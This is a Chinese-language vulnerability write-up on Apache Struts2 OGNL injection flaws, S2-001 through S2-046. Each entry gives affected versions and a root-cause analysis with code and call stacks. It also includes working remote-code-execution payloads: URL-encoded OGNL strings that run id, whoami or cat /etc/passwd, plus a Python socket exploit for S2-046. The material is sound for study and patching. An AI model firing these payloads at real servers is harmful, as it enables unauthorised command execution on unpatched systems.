漏洞点
生命周期
漏洞位置
触发点
S2-001
影响范围
WebWork 2.1 (with altSyntax enabled) WebWork 2.2.0 - WebWork 2.2.5 Struts 2.0.0 - Struts 2.0.8
漏洞描述
WebWork2.1+ 和 Struts2 的 altSyntax
特性允许用户将 OGNL 表达式插入到文本中,并对
其递归解析,导致攻击者可以插入并执行任意 OGNL
在下面的示例中,用户可以在 name 参数填入 %{1+1}
而 phoneNumber 参数置空,当表单
验证失败而重新渲染页面时,会对 name 的值进行解析。正常情况是 %{name}
, 让用户可以
不用重新填写 name,但由于攻击者填入的是 OGNL 表达式,服务端会递归解析 %{%{1+1}}
导致漏洞产生,返回计算结果 2
<s:form action="editUser">
<s:textfield name="name" />
<s:textfield name="phoneNumber" />
</s:form>
S2-003
影响范围
Struts 2.0.0 - Struts 2.1.8.1
漏洞描述
Struts2 提供了广泛的 OGNL 表达式计算能力,甚至可以将参数名当作表达式来执行,而在 OGNL 中可以通过 # 来访问 struts 的对象,所以内置的 ParametersInterceptor 类会过 滤参数名中包含 # 在内的各种特殊符号来保证安全性
而 S2-003 就是通过 unicode 编码绕过 ParametersInterceptor 类中的正则过滤,用
\u0023
或者 \43
代替 #
poc:
GET /s2_war/index.action?(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(bla)(bla)&(%27\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\u0023mycmd\u003d\%27id\%27%27)(bla)(bla)&(%27\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)%27)(bla)(bla)&(A)((%27\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())%27)(bla))&(B)((%27\u0023myres\u003dnew\40byte[51020]%27)(bla))&(C)((%27\u0023mydat.readFully(\u0023myres)%27)(bla))&(D)((%27\u0023mystr\u003dnew\40java.lang.String(\u0023myres)%27)(bla))&(%27\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()%27)(bla)(bla)&(E)((%27\u0023myout.getWriter().println(\u0023mystr)%27)(bla)) HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,pt;q=0.7,da;q=0.6
Cookie: JSESSIONID=FC7DC2221FDB37EAE855C6E6A11E9CC1; _ga=GA1.1.267931382.1545202285
Connection: close
S2-005
影响范围
Struts 2.0.0 - Struts 2.1.8.1
漏洞描述
该漏洞是对 S2-003 补丁的绕过,官方对 S2-003 的修复代码如下(左为 struts-2.0.8,右 为 struts-2.0.12):
可见修复代码主要引入控制静态方法调用开关 allowStaticMethodAccess 变量,以及用于 控制成员变量访问权限的 SecurityMemberAccess 类对象,然而这两个变量都可以通过 OGNL 表达式控制,所以补丁并没有实际效果
poc:
login.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'deepin-calculator\')')(bla)(bla)
S2-007
影响范围
Struts 2.0.0 - Struts 2.2.3
漏洞描述
当配置了验证规则,且类型转换出错时,ConversionErrorInterceptor 类对产生错误的参 数值进行了不安全的字符串拼接,而造成了 OGNL 表达式注入
漏洞的入口类是 S2-007/web/WEB-INF/lib/xwork-core-2.2.3.jar!/com/opensymphony/xwork2/interceptor/ConversionErrorInterceptor.class
当发生类型转换错误时进入 ConversionErrorInterceptor#intercept 方法,在该方法中获 取导致错误的参数值,并在 getOverrideExpr 方法进行拼接
protected Object getOverrideExpr(ActionInvocation invocation, Object value) {
return "'" + value + "'";
}
可见攻击者可以闭合单引号注入 OGNL 表达式,使其返回值的形式为: '' + (#xxxx) + ''
, 最后导致中间的表达式执行
S2-008
影响范围
Struts 2.0.0 - Struts 2.3.17
漏洞描述
为了避免攻击者通过参数执行任意方法,xwork.MethodAccessor.denyMethodExecution 参 数的值默认为 true,且 SecurityMemberAccess.allowStaticMethodAccess 参数值默认为 false。而且从 Struts 2.2.1.1 开始,ParameterInterceptor 只允许以下格式的参数:
acceptedParamNames = "[a-zA-Z0-9\.][()_']+";
但是在以下情况仍可以绕过上述限制执行任意 Java 代码:
Struts ⇐ 2.2.3 (ExceptionDelegator)
当 Struts 将一个参数值赋值给属性而产生异常时,该值会被作为 OGNL 表达式执行,比如 将一个字符串值赋值给一个整型属性
Struts ⇐ 2.3.1 (CookieInterceptor)
Struts 的白名单机制只应用在请求参数上,但 CookieInterceptor 中并没有使用,所以在 处理 cookie 项时可能导致 OGNL 注入,而且攻击者可以通过表达式将 allowStaticMethodAccess 设置为 true
大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这 个点比较鸡肋
Arbitrary File Overwrite in Struts ⇐ 2.3.1 (ParameterInterceptor)
虽然 allowStaticMethodAccess 默认是关闭的,但攻击者仍然可以访问只有一个 String 参 数的公共构造方法和 setter 方法,所以仍然可能导致任意文件写入、覆盖
Struts ⇐ 2.3.17 (DebuggingInterceptor)
应用以开发者模式(developer mode)运行时 DebuggingInterceptor 类可能导致任意代码 执行,不过一般生产环境都不会开启 developer mode,除非是被人放的后门
poc:
# 无回显
http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)
# 可回显
http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ipconfig%27%29.getInputStream%28%29%29)
以下是 DebuggingInterceptor#intercept 方法的关键部分,当 debug 参数是 command 时, 会取出 expression 参数,然后调用 OgnlValueStack#findValue
最后把参数名当作 OGNL 表达式进行解析,调用栈如下:
compile:223, OgnlUtil (com.opensymphony.xwork2.ognl)
getValue:213, OgnlUtil (com.opensymphony.xwork2.ognl)
getValueUsingOgnl:277, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValue:260, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValueWhenExpressionIsNotNull:242, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:222, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:284, OgnlValueStack (com.opensymphony.xwork2.ognl)
intercept:219, DebuggingInterceptor (org.apache.struts2.interceptor.debugging)
...
S2-009
影响范围
Struts 2.0.0 - Struts 2.3.1.1
漏洞描述
Struts 使用白名单解决了 S2-003 和 S2-005 从参数名注入 OGNL 表达式的情况,使用的 正则如下:
private String acceptedParamNames = "[a-zA-Z0-9\\.\\]$$\\($$_']+";
这个漏洞的成因是:类似 top['foo'](0)
这样格式的参数名可以通过校验,而 Struts 会
把它解析成 (top['foo'])(0)
, 也就是把 top['foo']
当作表达式执行,这可以从上下文获
取 foo 变量的值
因此可以通过两个参数来绕过白名单:第一个参数的值写入恶意表达式,因为 ParametersInterceptor 只会校验参数名,所以参数值可以写入任意表达式;然后第二个参 数名解析的时候获取这个恶意表达式并执行
poc:
/action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true
(注意参数会根据首字母进行排序,要保证第一个参数的首字母排在前面)
S2-012
影响范围
Struts Showcase App 2.0.0 - Struts Showcase App 2.3.14.2
漏洞描述
在之前的漏洞中,我们都是在请求参数名中插入 OGNL 表达式令其执行,而 struts 也相应 地增加了白名单机制来过滤恶意参数名。但参数值还是可以写入任意内容的,只要找到条件 让 struts 把参数值当作 OGNL 表达式来解析,就可以绕过之前的防护
012 漏洞的原因即在重定向时,从内存获取我们之前输入的参数值,这时会将它当作 OGNL 表达式执行
vulhub 示例:
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>
当 UserAction 发生重定向时,会将 name 的值作为重定向页面的参数,导致表达式执行
poc:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
S2-013
影响范围
Struts 2.0.0 - Struts 2.3.14.1
漏洞描述
<s:url
和 <s:a
两个标签用于生成 anchor,而且它们有一个 includeParams 属性可以把
当前页面的参数添加到 anchor 的 href 中,includeParams 的可选值如下:
- none: 不包含原请求参数
- get: 只包含 get 请求参数
- all: 包含 get 请求和 post 请求参数
例子:
<p><s:a id="link1" action="link" includeParams="all">"s:a" tag</s:a></p>
<p><s:url id="link2" action="link" includeParams="all">"s:url" tag</s:url></p>
当用户访问 link.action 并携带请求参数时,会在页面中生成两个 <a> 元素,并且 href 包 含当前请求的参数。而 struts 在获取原请求参数时,把值当作 OGNL 表达式执行了,因此 导致漏洞产生
我们分析一下 struts2-core-2.2.3.jar!/org/apache/struts2/components/Anchor.class 的执行过程,关键方法如下:
protected void evaluateExtraParams() {
super.evaluateExtraParams();
if (this.href != null) {
this.addParameter("href", this.ensureAttributeSafelyNotEscaped(this.findString(this.href)));
} else {
StringWriter sw = new StringWriter();
this.urlRenderer.beforeRenderUrl(this.urlProvider);
this.urlRenderer.renderUrl(sw, this.urlProvider);
String builtHref = sw.toString();
if (StringUtils.isNotEmpty(builtHref)) {
this.addParameter("href", this.ensureAttributeSafelyNotEscaped(builtHref));
}
}
}
首先是在 beforeRenderUrl 方法对 includeParams 属性进行判断,根据属性从 urlComponent 可以拿到需要的参数值(文本值,还没执行表达式):
然后在 renderUrl 中解析得到最终的 href, 在这个过程中执行了参数值中的表达式,调用 栈如下:
compile:222, OgnlUtil (com.opensymphony.xwork2.ognl)
getValue:217, OgnlUtil (com.opensymphony.xwork2.ognl)
getValue:342, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValue:331, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValueWhenExpressionIsNotNull:307, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:293, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:350, OgnlValueStack (com.opensymphony.xwork2.ognl)
translateVariables:196, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:129, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:51, TextParseUtil (com.opensymphony.xwork2.util)
translateVariable:288, UrlHelper (org.apache.struts2.views.util)
translateAndEncode:263, UrlHelper (org.apache.struts2.views.util)
buildParameterSubstring:250, UrlHelper (org.apache.struts2.views.util)
buildParametersString:229, UrlHelper (org.apache.struts2.views.util)
buildParametersString:194, UrlHelper (org.apache.struts2.views.util)
buildUrl:172, UrlHelper (org.apache.struts2.views.util)
determineActionURL:410, Component (org.apache.struts2.components)
determineActionURL:68, ComponentUrlProvider (org.apache.struts2.components)
renderUrl:74, ServletUrlRenderer (org.apache.struts2.components)
evaluateExtraParams:107, Anchor (org.apache.struts2.components)
...
官方的修复方式是限制 %{(#exp)}
格式的 OGNL 执行,但还存在 %{exp}
格式可用,导致
补丁被绕过(S2-014)
S2-015
影响范围
Struts 2.0.0 - Struts 2.3.14.2
漏洞描述
S2-015 包含两种情况产生的漏洞
通配符
首先是 Struts2 在匹配 Action 的时候可以使用通配符,当找不到所请求的 Action 名称时, 就会访问使用通配符的 Action
示例:
<action name="*" class="example.ExampleSupport">
<result>/example/{1}.jsp</result>
</action>
{1}
是访问的 Action 名称,而且会作为 OGNL 表达式执行。假设用户访问 null.action,
就会匹配到上述配置,然后返回 /example/null.jsp 页面
另外,在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了
SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版
本以后都不能直接通过 #_memberAccess['allowStaticMethodAccess']=true
来修改其值达
到重获静态方法调用的能力,但是仍可以通过反射去修改
最终得到以下 payload:
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()),#q}
注意,由于 payload 的位置,命令中带有斜杠可能执行失败(cat /etc/passwd)
表达式二次执行
vulhub 的示例代码如下:
<action name="param" class="com.demo.action.ParamAction">
<result name="success" type="httpheader">
<param name="error">305</param>
<param name="headers.fxxk">${message}</param>
</result>
</action>
在 ParamAction 的响应中,会获取请求中的 message 参数放到 fxxk 头部,首先执行
${message}
获取 Action 中的 message 属性,如果该属性的值又是 OGNL 表达式,则会进
行二次执行。所以 payload 的格式为 %{expression}
S2-016
影响范围
Struts 2.0.0 - Struts 2.3.15
漏洞描述
DefaultActionMapper 类支持以”action:”、“redirect:”、“redirectAction:“作为导航或是 重定向前缀,但是这些前缀后面同时可以跟 OGNL 表达式,由于 struts2 没有对这些前缀做过 滤,导致利用 OGNL 表达式调用 java 静态方法执行任意系统命令
poc 和 S2-015 一样,加在重定向前缀后面即可
S2-019
影响范围
Struts 2.0.0 - Struts 2.3.15.1
漏洞描述
该漏洞的原因是 Struts 默认开启动态方法调用(DMI)特性,该特性在 Struts 2.3.15.2 后 默认关闭,你也可以自己手动关闭:
<constant name="struts.enable.DynamicMethodInvocation" value="false"/>
poc:
?debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27whoami%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%0A
S2-029
影响范围
Struts 2.0.0 - Struts 2.3.24.1 (except 2.3.20.3)
漏洞描述
Struts2 在解析某些标签时,会对标签的属性值进行二次执行求值,那如果第一次获取到的 值是一个 OGNL 表达式,就会导致表达式执行
比如 i18n 和 text 标签的 name 属性:
<s:i18n name="%{#request.lan}">xxxx</s:i18n>
<s:text name="%{#request.lan}">xxxx</s:text>
攻击者可以在请求的 lan 属性中注入表达式,poc:
(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))
注入的位置取决于标签的属性从什么地方获取
S2-032
影响范围
Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
漏洞描述
在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用 method:<name>
的方式来调用名字是 <name>
的方法,而这个方法名将会进行 OGNL 表达式计算,导致远程命
令执行漏洞
poc:
http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
S2-045
影响范围
Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
漏洞描述
Struts2 默认处理 multipart 报文的解析器是 jakarta,如果 Content-Type 的值不合法它会 将异常信息返回,并且将 Content-Type 的值作为 OGNL 表达式执行
首先是在 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest 这个类, 它在调用 parse 方法发生异常时,调用父类 AbstractMultiPartRequest 的 buildErrorMessage 方法生成包含 payload 的错误信息,并添加到当前的 request 中
在 FileUploadInterceptor 调用 LocalizedTextUtil#findText 方法获取错误信息,在这 个过程会进入到 OgnlTextParser#evaluate 方法,执行 $ 或者 % 开头的表达式
调用栈:
evaluate:13, OgnlTextParser (com.opensymphony.xwork2.util)
translateVariables:166, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:123, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:45, TextParseUtil (com.opensymphony.xwork2.util)
getDefaultMessage:729, LocalizedTextUtil (com.opensymphony.xwork2.util)
findText:573, LocalizedTextUtil (com.opensymphony.xwork2.util)
findText:393, LocalizedTextUtil (com.opensymphony.xwork2.util)
intercept:264, FileUploadInterceptor (org.apache.struts2.interceptor)
...
在 FileItemIteratorImpl 对象的构造方法中,首先对 contentType 进行了判断,要求
contentType 字符以 multipart/
开头:
而在 Dispatcher#wrapRequest 方法中,只要 contentType 包含 multipart/form-data 就会 认为是 multipart 请求。所以可以构造以下 poc(from vulhub):
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
S2-046
影响范围
Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
漏洞描述
与 s2-045 类似,但是输入点在文件上传的 filename 值位置,并需要使用 \x00
截断
poc from vulhub:
import socket
q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
Content-Type: text/plain
foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
p = b'''POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Length: %d
'''.replace(b'\n', b'\r\n') % (len(q), )
with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
conn.send(p + q)
print(conn.recv(10240).decode())